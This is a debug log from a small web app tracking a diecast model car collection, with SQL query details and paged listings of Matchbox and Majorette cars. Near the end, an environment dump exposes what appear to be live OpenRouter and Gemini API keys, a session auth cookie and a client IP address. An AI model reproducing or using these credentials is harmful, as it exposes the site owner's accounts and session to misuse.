2026-02-04T06:48:19.236Z server-connect:app Executing action step paged
2026-02-04T06:48:19.236Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:48:19.238Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 30,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:00:11.238Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:00:11.239Z server-connect:app Executing action step identify
2026-02-04T07:00:11.239Z server-connect:app options: { provider: 'security' }
2026-02-04T07:00:11.240Z server-connect:output identity: 1
2026-02-04T07:00:11.240Z server-connect:app Executing action step restrict
2026-02-04T07:00:11.240Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:00:11.241Z server-connect:output restrict: undefined
2026-02-04T07:00:11.241Z server-connect:app Executing action step paged
2026-02-04T07:00:11.241Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:00:11.246Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:00:11.476Z server-connect:router Serving templateView /
2026-02-04T07:00:11.476Z server-connect:app Executing action step identify
2026-02-04T07:00:11.476Z server-connect:app options: { provider: 'security' }
2026-02-04T07:00:11.476Z server-connect:output identity: 1
2026-02-04T07:00:11.476Z server-connect:app Executing action step restrict
2026-02-04T07:00:11.476Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:00:11.477Z server-connect:output restrict: undefined
2026-02-04T07:00:11.477Z server-connect:app Executing action step restrict
2026-02-04T07:00:11.477Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:00:11.477Z server-connect:output restrict: undefined
2026-02-04T07:00:11.477Z server-connect:router Render template layouts/main
2026-02-04T07:00:11.477Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
